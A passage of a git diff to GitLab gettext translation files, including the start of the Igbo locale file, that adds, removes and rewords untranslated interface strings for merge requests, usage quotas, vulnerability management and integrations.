msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index 3a890d99d72..31ed74baa6e 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -342,6 +351,12 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1043,6 +1068,10 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1369,9 +1404,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
